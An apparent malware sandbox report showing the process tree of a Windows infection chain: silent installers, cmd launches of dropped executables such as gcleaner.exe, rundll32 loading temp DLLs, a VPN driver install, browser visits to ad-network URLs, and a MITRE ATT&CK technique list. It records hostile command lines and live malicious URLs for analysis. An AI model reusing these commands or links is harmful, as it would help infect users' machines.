        "C:\Users\Admin\AppData\Local\Temp\is-DGUOI.tmp\ultramediaburner.tmp" /SL5="$902CA,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\RWAWSBLYRY\ultramediaburner.exe" /VERYSILENT
        5⤵
        
        PID:500
      - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        6⤵
        
        PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\05-089a5-5e3-927bb-26e7838cc984e\SHikoshybiqo.exe
      "C:\Users\Admin\AppData\Local\Temp\05-089a5-5e3-927bb-26e7838cc984e\SHikoshybiqo.exe"
      4⤵
      PID:2876
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        5⤵
        
        PID:4292
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcad4c46f8,0x7ffcad4c4708,0x7ffcad4c4718
        6⤵
        
        PID:5968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        5⤵
        
        PID:1616
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ffcad4c46f8,0x7ffcad4c4708,0x7ffcad4c4718
        6⤵
        
        PID:3628
  - - C:\Users\Admin\AppData\Local\Temp\44-b97e2-5a4-c339a-ed69e16530e86\Laelaexudywo.exe
      "C:\Users\Admin\AppData\Local\Temp\44-b97e2-5a4-c339a-ed69e16530e86\Laelaexudywo.exe"
      4⤵
      PID:2208
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1czemls2.grw\GcleanerEU.exe /eufive & exit
        5⤵
        
        PID:6060
      - C:\Users\Admin\AppData\Local\Temp\1czemls2.grw\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\1czemls2.grw\GcleanerEU.exe /eufive
        6⤵
        
        PID:6084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6084 -s 276
        7⤵
        Program crash
        
        PID:5400
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tsjpcuh2.tpk\installer.exe /qn CAMPAIGN="654" & exit
        5⤵
        
        PID:5284
      - C:\Users\Admin\AppData\Local\Temp\tsjpcuh2.tpk\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\tsjpcuh2.tpk\installer.exe /qn CAMPAIGN="654"
        6⤵
        
        PID:5556
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bx0rgtkz.xes\anyname.exe & exit
        5⤵
        
        PID:3732
      - C:\Users\Admin\AppData\Local\Temp\bx0rgtkz.xes\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\bx0rgtkz.xes\anyname.exe
        6⤵
        
        PID:5544
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\td004kn5.0sx\gcleaner.exe /mixfive & exit
        5⤵
        
        PID:2984
      - C:\Users\Admin\AppData\Local\Temp\td004kn5.0sx\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\td004kn5.0sx\gcleaner.exe /mixfive
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:5592
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5592 -s 284
        7⤵
        Program crash
        
        PID:1404
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\100iezbk.qyz\autosubplayer.exe /S & exit
        5⤵
        
        PID:1044

C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu2156de5489c19.exe
Thu2156de5489c19.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 968 -ip 968
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1776 -ip 1776
1⤵
PID:4196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2196 -ip 2196
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2544 -ip 2544
1⤵
PID:5268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3884 -ip 3884
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3156

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 524 -p 4188 -ip 4188
1⤵
PID:5592

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4648 -ip 4648
1⤵
PID:4232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1436 -ip 1436
1⤵
PID:6060

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 4444 -ip 4444
1⤵
PID:2948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2924 -ip 2924
1⤵
PID:6120

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3056
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 452
    3⤵
    - Program crash
    PID:4292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4304 -ip 4304
1⤵
PID:2948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6084 -ip 6084
1⤵
PID:3336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4744 -ip 4744
1⤵
PID:5912

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 576 -p 5996 -ip 5996
1⤵
PID:1044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5188 -ip 5188
1⤵
PID:244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 800 -ip 800
1⤵
PID:4188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1072 -ip 1072
1⤵
PID:3584

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:4620
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  PID:3184
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 456
    3⤵
    - Program crash
    PID:3000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3184 -ip 3184
1⤵
PID:916

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5180
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding AD007C75B71070E0ECAE6F87B93015DA C
  2⤵
  PID:3352
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5F264B94721062CD9D9E3B33CE5B5939
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:2088
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 83C0E7741B246FA0CD3F71F369A1BA9A E Global\MSI0000
  2⤵
  PID:1324
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EA7F43C7B14A584A0B3B7CBDA5DEF271 C
  2⤵
  PID:6048
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 368009EB87E0D320AA5B2AAD0CC73E51
  2⤵
  PID:4944
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:3312
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:1952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 6084 -ip 6084
1⤵
PID:4180

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2680
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3968 -s 452
    3⤵
    - Program crash
    PID:5092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5592 -ip 5592
1⤵
PID:3952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3968 -ip 3968
1⤵
PID:2144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2748 -ip 2748
1⤵
PID:4976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:5764
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{6f8b8443-c0d4-4444-a4b3-b40c3b15c819}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000148" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:3020
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oem2.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000014C" "dd4"
  2⤵
  PID:1404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
1⤵
PID:5516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:5012

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:5500
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  - Executes dropped EXE
  PID:5308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 4692 -ip 4692
1⤵
PID:132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5912 -ip 5912
1⤵
PID:5928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2440 -ip 2440
1⤵
PID:4568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4736 -ip 4736
1⤵
PID:2184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2020 -ip 2020
1⤵
PID:5104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4836 -ip 4836
1⤵
PID:1612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5700 -ip 5700
1⤵
PID:2840

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3736
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 456
    3⤵
    - Program crash
    PID:5796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1072 -ip 1072
1⤵
PID:2264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5012 -ip 5012
1⤵
PID:4624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2472 -ip 2472
1⤵
PID:4912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4364 -ip 4364
1⤵
PID:4552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5268 -ip 5268
1⤵
PID:6872

C:\Users\Admin\AppData\Local\Temp\9927.exe
C:\Users\Admin\AppData\Local\Temp\9927.exe
1⤵
PID:7064
- C:\Users\Admin\AppData\Local\Temp\9927.exe
  C:\Users\Admin\AppData\Local\Temp\9927.exe
  2⤵
  PID:4008

C:\Users\Admin\AppData\Local\Temp\AFDC.exe
C:\Users\Admin\AppData\Local\Temp\AFDC.exe
1⤵
PID:6228
- C:\Users\Admin\AppData\Local\Temp\AFDC.exe
  C:\Users\Admin\AppData\Local\Temp\AFDC.exe
  2⤵
  PID:6500

C:\Users\Admin\AppData\Local\Temp\C375.exe
C:\Users\Admin\AppData\Local\Temp\C375.exe
1⤵
PID:6420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6420 -s 236
  2⤵
  - Program crash
  PID:1140

C:\Users\Admin\AppData\Local\Temp\CAB9.exe
C:\Users\Admin\AppData\Local\Temp\CAB9.exe
1⤵
PID:6276
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6276 -s 232
  2⤵
  - Program crash
  PID:1968

C:\Users\Admin\AppData\Local\Temp\E101.exe
C:\Users\Admin\AppData\Local\Temp\E101.exe
1⤵
PID:1872

C:\Users\Admin\AppData\Local\Temp\F20A.exe
C:\Users\Admin\AppData\Local\Temp\F20A.exe
1⤵
PID:1668
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1668 -s 316
  2⤵
  - Program crash
  PID:3812

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 620 -p 4708 -ip 4708
1⤵
PID:5936

C:\Users\Admin\AppData\Local\Temp\1467.exe
C:\Users\Admin\AppData\Local\Temp\1467.exe
1⤵
PID:6524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6420 -ip 6420
1⤵
PID:3356

C:\Users\Admin\AppData\Local\Temp\1B10.exe
C:\Users\Admin\AppData\Local\Temp\1B10.exe
1⤵
PID:7084
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7084 -s 304
  2⤵
  - Program crash
  PID:1072

C:\Users\Admin\AppData\Local\Temp\2300.exe
C:\Users\Admin\AppData\Local\Temp\2300.exe
1⤵
PID:6116
- C:\Users\Admin\AppData\Local\Temp\2300.exe
  C:\Users\Admin\AppData\Local\Temp\2300.exe
  2⤵
  PID:7064

C:\Users\Admin\AppData\Local\Temp\3679.exe
C:\Users\Admin\AppData\Local\Temp\3679.exe
1⤵
PID:5268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6528 -ip 6528
1⤵
PID:1696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 6276 -ip 6276
1⤵
PID:6328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 1668 -ip 1668
1⤵
PID:2660

C:\Users\Admin\AppData\Local\Temp\46D6.exe
C:\Users\Admin\AppData\Local\Temp\46D6.exe
1⤵
PID:5904
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 236
  2⤵
  - Program crash
  PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 7084 -ip 7084
1⤵
PID:3500

C:\Users\Admin\AppData\Local\Temp\74AD.exe
C:\Users\Admin\AppData\Local\Temp\74AD.exe
1⤵
PID:2008

C:\Users\Admin\AppData\Local\Temp\92D5.exe
C:\Users\Admin\AppData\Local\Temp\92D5.exe
1⤵
PID:6088
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6088 -s 236
  2⤵
  - Program crash
  PID:6380

C:\Users\Admin\AppData\Local\Temp\995E.exe
C:\Users\Admin\AppData\Local\Temp\995E.exe
1⤵
PID:4364
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 312
  2⤵
  - Program crash
  PID:4704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 5904 -ip 5904
1⤵
PID:2872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6336 -ip 6336
1⤵
PID:6536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 6088 -ip 6088
1⤵
PID:568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 4364 -ip 4364
1⤵
PID:6872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery